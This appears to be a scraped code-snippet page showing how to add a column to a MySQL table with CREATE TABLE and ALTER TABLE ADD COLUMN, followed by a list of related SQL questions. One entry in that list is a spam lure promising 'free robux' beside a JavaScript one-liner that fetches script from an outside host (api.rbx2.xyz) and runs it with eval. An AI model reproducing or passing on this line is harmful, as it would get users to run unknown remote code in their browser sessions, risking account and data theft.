/SQL/How to add more columns to a table in mysql

How to add more columns to a table in mysql

        
            
        
CREATE TABLE IF NOT EXISTS vendors (
    id INT AUTO_INCREMENT PRIMARY KEY,
    name VARCHAR(255)
);
ALTER TABLE vendors
ADD COLUMN phone VARCHAR(15) AFTER name;

Source: mysqltutorial.org

Similar codes

0 vote207 views1 answer
Oracle gather table statistics
SQL
2 votes202 views1 answer
Oracle sql day of month from date
SQL
0 vote262 views1 answer
Isnull in sqlite
SQL
0 vote206 views1 answer
Update All tables COLLATE DATABASE_DEFAULT
SQL
-2 votes259 views1 answer
Trunc in sql
SQL
0 vote207 views1 answer
Postgresql if else endif
SQL
1 vote262 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
0 vote259 views1 answer
Sqlite trim
SQL
0 vote212 views2 answers
Oracle chain rules
SQL
1 vote201 views1 answer
Group_concat max length mysql
SQL